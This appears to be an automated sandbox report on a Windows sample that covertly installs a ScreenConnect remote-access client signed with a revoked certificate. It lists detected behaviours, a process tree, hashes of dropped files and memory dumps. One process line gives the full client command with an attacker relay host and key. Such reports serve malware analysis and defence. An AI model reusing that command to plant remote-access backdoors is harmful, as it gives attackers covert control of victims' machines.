Analysis

  • max time kernel
    148s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    25/09/2026, 12:07

General

  • Target
    file.exe
  • Size 5.4MB
  • Sample260925-padp2a1yes
  • SHA256 378cfed93e93094c5044aea2894454222beaa0ca92fb2ef1a2ce6e37df36eebc
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 13 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4648
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.3.2.9271\e50a42c29cbd1cba\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4328
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1504
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding F54E5FDAD7F8C007456AB39E5BCBEC45 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3856
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIA023.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240689453 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5764
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:5624
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding B1B6CD5102A53569F0450A0E880C93B9
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1036
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding F027ECC5BC77CB2B9621B2CE488099E5 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:1644
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:2840
    • C:\Program Files (x86)\ScreenConnect Client (e50a42c29cbd1cba)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (e50a42c29cbd1cba)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=wgobelwntozw.blog&p=8041&s=3e1452d1-48fd-4916-908c-195ccfe0287e&k=BgIAAACkAABSU0ExAAgAAAEAAQCZ8VDAw%2fQd4vCAoyScCYiW%2f1rOKQ6C8zTKloC18JvmaLFtqJjdMesGJhr%2fLc%2f%2bNy5XXDaw2fp4C4vXOUUhdN7yXdzhcW15fW5sCfOL%2fgH%2bHxAcwpmqHMV75yaujPPUZOq%2b4LBIpMM%2bdqwtOTb9fXsk2dmebN28beDJjiVDT%2fWBB4coJq6HdtnvCgOrCvRbpZG08lA88uVJsafEFqtaBjzTHUkQ8qE7ab5gRwFKGQF967EZUE9xORdeKPsbNzETh56yHpCQqaGigZYOqy0jdkRnCUkS4m2AmbbpbURccjNyHj2lHjxeks81BwKMmTi8JKkZclhJ9kncxmz43pO1Hqih"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2308
      • C:\Program Files (x86)\ScreenConnect Client (e50a42c29cbd1cba)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (e50a42c29cbd1cba)\ScreenConnect.WindowsClient.exe" "RunRole" "46a705c4-1873-46cb-9b40-3a520de908cc" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:876
      • C:\Program Files (x86)\ScreenConnect Client (e50a42c29cbd1cba)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (e50a42c29cbd1cba)\ScreenConnect.WindowsClient.exe" "RunRole" "774c010f-b282-4fee-ba9e-7dbd3bdf9346" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:5688

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          e58dbc6.rbs

          • Path C:\Config.Msi\e58dbc6.rbs
          • Size 214KB
          • SHA256 f801d3fc086abd99f25756f910136101edd7604a315e20ad95d3cc369cc9fb64
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (e50a42c29cbd1cba)\Client.en-US.resources
          • Size 49KB
          • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (e50a42c29cbd1cba)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (e50a42c29cbd1cba)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 33f8abd5722ab19aeacfe24319cda4433b0bf9b482dad4865685975c11c15534
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (e50a42c29cbd1cba)\ScreenConnect.ClientService.dll
          • Size 67KB
          • SHA256 554ba93c3c34fc5cf6cb49ac7285069e853aa5543219e012bf0e9ca4400c3255
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (e50a42c29cbd1cba)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 4fe150116089d55c48748a97985f1d18054db5758020b193ad31d63e849b57f6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (e50a42c29cbd1cba)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (e50a42c29cbd1cba)\ScreenConnect.WindowsClient.exe
          • Size 595KB
          • SHA256 465e9cee277db463677b2b593809e794279d64314b4fa736aa93780a0f7e3975
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (e50a42c29cbd1cba)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (e50a42c29cbd1cba)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (e50a42c29cbd1cba)\app.config
          • Size 508B
          • SHA256 779c074d07a35de132ade25762da935077cf6a7da2c3812cc4f432d5dad73394
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (e50a42c29cbd1cba)\system.config
          • Size 943B
          • SHA256 5345865ab62710aea300872476c671e6cc8d8b60fc1b3d02828be994ff60e2a3
          • MD5 SHA1 SHA512 TLSH

          MSIA023.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSIA023.tmp
          • Size 1.0MB
          • SHA256 64ddf83b4acb09b518518e07a8ffd0446d256ff842c113efa1cdb6378fdf1018
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIA023.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIA023.tmp-\ScreenConnect.Core.dll
          • Size 539KB
          • SHA256 51d9dcd755a424b8b3122350bbcc02d453880c39636fb1e0265084161afca983
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIA023.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 8f4a00b34720f19b0e67dc957085ad1986e58bb16a1abcc580dab21bcd61382d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIA023.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 602a640e2d9f94acfe47d3946f7dd088992431e24b670d40233e1ae6e9e270ad
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.3.2.9271\e50a42c29cbd1cba\ScreenConnect.ClientSetup.msi
          • Size 9.5MB
          • SHA256 beb990025a20faaf0a56a87bc26c5278bfb0924c339a70af850cd6755557b122
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIDDAA.tmp

          • Path C:\Windows\Installer\MSIDDAA.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.1MB
          • SHA256 142d50f0d8c5b0d14ad623ba31472068d6c2be0d5aec17f3013cbc99b9c64ebb
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {d02ffef9-f29b-4668-9660-bcb7d8653257}_OnDiskSnapshotProp

          • Path \??\Volume{7d83d395-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{d02ffef9-f29b-4668-9660-bcb7d8653257}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 780048ac75527a4eeb0596fb12d4bc278f28b6ac8fda5edb45365c74bf37c569
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/876-132-0x0000000001200000-0x0000000001218000-memory.dmp

          memory/876-130-0x000000001BB90000-0x000000001BD3C000-memory.dmp

          memory/876-129-0x000000001B950000-0x000000001B9DE000-memory.dmp

          memory/876-128-0x000000001B510000-0x000000001B546000-memory.dmp

          memory/876-131-0x000000001CF80000-0x000000001D106000-memory.dmp

          memory/876-133-0x0000000002B00000-0x0000000002B18000-memory.dmp

          memory/876-127-0x00000000009B0000-0x0000000000A48000-memory.dmp

          memory/2308-109-0x0000000004020000-0x0000000004070000-memory.dmp

          memory/2308-116-0x0000000004270000-0x00000000042B1000-memory.dmp

          memory/2308-87-0x0000000003DD0000-0x0000000003DE8000-memory.dmp

          memory/2308-114-0x0000000004310000-0x00000000043A2000-memory.dmp

          memory/2308-118-0x00000000044F0000-0x00000000045C5000-memory.dmp

          memory/2308-113-0x0000000004070000-0x00000000040A6000-memory.dmp

          memory/4648-0-0x0000000005A00000-0x0000000005A10000-memory.dmp

          memory/4648-5-0x0000000005980000-0x00000000059A2000-memory.dmp

          memory/4648-4-0x00000000058D0000-0x000000000595E000-memory.dmp

          memory/4648-3-0x0000000005D10000-0x0000000006002000-memory.dmp

          memory/4648-2-0x0000000005A00000-0x0000000005A10000-memory.dmp

          memory/4648-1-0x00000000019E0000-0x00000000019E8000-memory.dmp

          memory/4648-7-0x00000000065B0000-0x0000000006B54000-memory.dmp

          memory/4648-6-0x0000000005A10000-0x0000000005BBC000-memory.dmp

          memory/4648-8-0x0000000005A00000-0x0000000005A10000-memory.dmp

          memory/5764-42-0x0000000005130000-0x00000000052DC000-memory.dmp

          memory/5764-38-0x0000000004EF0000-0x0000000004F7E000-memory.dmp

          memory/5764-34-0x0000000004E50000-0x0000000004E5A000-memory.dmp

          memory/5764-30-0x0000000004E10000-0x0000000004E3E000-memory.dmp